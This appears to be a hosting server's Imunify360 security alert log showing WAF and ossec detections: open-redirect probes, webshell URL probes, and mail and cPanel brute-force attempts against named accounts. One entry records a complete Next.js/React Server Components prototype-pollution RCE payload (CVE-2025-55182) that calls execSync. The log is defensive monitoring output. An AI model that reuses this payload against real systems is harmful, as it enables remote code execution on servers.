plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.62.64.199
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.87.92.222
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.172
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.54.77
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.162.118
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.62.67.240
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.85.187
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.52.135
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.184.10
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.4.174.107
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.148.78
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=471602 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.115.111
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=29 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 21:07:10 1044103 [Warning] Aborted connection 1044103 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.137.7.97
country_id: 6252001
description:
2026-01-30 21:08:13 dovecot_plain authenticator failed for H=c-73-137-7-97.hsd1.ga.comcast.net (quint) [73.137.7.97]:47598: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.70.190
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=13701514857901 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: medinova.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/medinovacom/public_html/wp-admin||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 62.60.244.206
country_id: 2750405
domain: www.modern.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/contact-us/||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: medinova.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/medinovacom/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.199.113.235
country_id: 3017382
domain: www.appointment.visoft.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/visoftcom/appointment.visoft.com.my/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.184.167.21
country_id: 953987
description:
2026-01-30 21:12:00 dovecot_plain authenticator failed for H=(6LCBR6) [197.184.167.21]:34181: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.184.167.21
country_id: 953987
description:
2026-01-30 21:12:07 dovecot_login authenticator failed for H=(6LCBR6) [197.184.167.21]:34181: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 21:13:44 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.144.209.61
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=299091 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-01-30 21:17:26 dovecot_login authenticator failed for H=([207.188.158.216]) [207.188.158.216]:44590: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/products.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:18:08 dovecot_login authenticator failed for H=(cpIkpF) [178.16.54.22]:54629: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.195.23.59
country_id: 1269750
description:
2026-01-30 21:19:19 dovecot_plain authenticator failed for H=(LF21D45A3WC8) [117.195.23.59]:50310: 535 Incorrect authentication data (set_id=rohaidaak@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:19:22 dovecot_login authenticator failed for H=(N1Pi1SwR9q) [178.16.54.22]:59874: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.158.148.68
country_id: 2542007
description:
2026-01-30 21:20:00 dovecot_plain authenticator failed for H=(T8FWR3M6R) [105.158.148.68]:55090: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:20:11 dovecot_login authenticator failed for H=(8OFS1IYg) [178.16.54.22]:55500: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.158.148.68
country_id: 2542007
description:
2026-01-30 21:20:06 dovecot_login authenticator failed for H=(T8FWR3M6R) [105.158.148.68]:55090: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.205.7.83
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=607507 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:21:24 dovecot_login authenticator failed for H=(88B6RE) [178.16.54.22]:61197: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.72.169.167
country_id: 2233387
description:
2026-01-30 21:21:48 dovecot_plain authenticator failed for H=(AM2GM97U1Z7) [154.72.169.167]:18839: 535 Incorrect authentication data (set_id=rnd@plomalite.com)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.53.33.147
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.208
country_id: 1814991
domain: oxbold.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.102
country_id: 1269750
description:
2026-01-30 21:22:48 dovecot_login authenticator failed for H=(nsg-corporate-9.90.186.122.airtel.in) [182.95.228.102]:36370: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.169.212.206
country_id: 1835841
description:
2026-01-30 21:23:00 dovecot_login authenticator failed for H=([211.169.212.206]) [211.169.212.206]:55338: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.72.74.130
country_id: 2017370
description:
2026-01-30 21:22:03 dovecot_login authenticator failed for H=([188.72.74.130]) [188.72.74.130]:49702: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.80.115
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.161
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.85.175.127
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.98.61.61
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.53.210
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.5.168.118
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.35.11
country_id: 1814991
domain: oxbold.com
description:


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:22:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.191.238
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.5.34
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.94.154
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.165
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.186.221
country_id: 1814991
domain: oxbold.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.63.159
country_id: 1814991
domain: oxbold.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:22:14 dovecot_login authenticator failed for H=(UOTBAv) [178.16.54.22]:60885: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:23:03 dovecot_login authenticator failed for H=(R0qDRsjEL) [178.16.54.22]:62014: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:23:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.218.112.169
country_id: 6252001
description:
[2026-01-30 21:24:27 +0800] info [whostmgrd] 107.218.112.169 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 21:24:55 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:37282: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:24:15 dovecot_login authenticator failed for H=(tycMFUkTE) [178.16.54.22]:58246: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/plug/sms/img/img/product.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 21:24:03 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-30 21:24:43 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:17018: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-01-30 21:24:47 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:54310: 535 Incorrect authentication data (set_id=rajanazrul)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.207.146.34
country_id: 6252001
description:
[2026-01-30 21:24:57 +0800] info [whostmgrd] 107.207.146.34 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-01-30 21:24:36 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:53670: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:24:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.204.150.91
country_id: 1814991
description:
2026-01-30 21:25:02 dovecot_login authenticator failed for H=([121.204.150.91]) [121.204.150.91]:57922: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.99.14
country_id: 290557
description:
2026-01-30 21:25:24 dovecot_login authenticator failed for H=([5.32.99.14]) [5.32.99.14]:58609: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:25:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:25:04 dovecot_login authenticator failed for H=(TdYBtkX8) [178.16.54.22]:53101: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.48.229.117
country_id: 3469034
description:
2026-01-30 21:25:52 dovecot_login authenticator failed for H=ip-179.48.229.117.fiberlinkpe.net.br (ip-179.48.229.118.fiberlinkpe.net.br) [179.48.229.117]:33658: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Jan 30 21:26:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account alanlai has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:26:12 dovecot_login authenticator failed for H=(Q1UG3fD) [185.230.124.69]:53735: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:26:18 dovecot_login authenticator failed for H=(1OLf6s) [178.16.54.22]:60120: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77093094
abuser: 85.11.167.4
country_id: 732800
domain: cofreth.com.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1769779561_8373',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:27:06 dovecot_login authenticator failed for H=(iL1fsn5Z) [178.16.54.22]:52090: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.253.162.9
country_id: 146669
description:
2026-01-30 21:27:31 dovecot_login authenticator failed for H=(ADMIN) [185.253.162.9]:37679: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:27:06 dovecot_login authenticator failed for H=(yPp0d2) [185.230.124.69]:56090: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.54.22.11
country_id: 1835841
description:
2026-01-30 21:27:44 dovecot_login authenticator failed for H=([14.54.22.11]) [14.54.22.11]:23045: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-01-30 21:28:05 dovecot_login authenticator failed for H=(dsl-ncr-static-137.78.16.125.airtelbroadband.in) [182.95.123.202]:48730: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:28:07 dovecot_login authenticator failed for H=(v3ZfB5qj2) [185.230.124.69]:59533: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:28:21 dovecot_login authenticator failed for H=(sIBWXq) [178.16.54.22]:56136: 535 Incorrect authentication data (set_id=alanlai)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 178.128.90.61
country_id: 1880251
domain: ds-staffing.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.71||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.69.36.172
country_id: 1562822
description:
2026-01-30 21:28:57 dovecot_login authenticator failed for H=([118.69.36.172]) [118.69.36.172]:60768: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:29:12 dovecot_login authenticator failed for H=(DiEtRuburD) [178.16.54.22]:58381: 535 Incorrect authentication data (set_id=alanlai)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:29:14 dovecot_login authenticator failed for H=(WJdAnM1K) [185.230.124.69]:54677: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.16.55
country_id: 3469034
description:
2026-01-30 21:29:17 dovecot_login authenticator failed for H=(177-174-16-55.user.vivozap.com.br) [177.174.16.55]:38616: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:29:06 dovecot_login authenticator failed for H=(1UM5wvA) [185.230.124.69]:60437: 535 Incorrect authentication data (set_id=marketing@col.com.my)


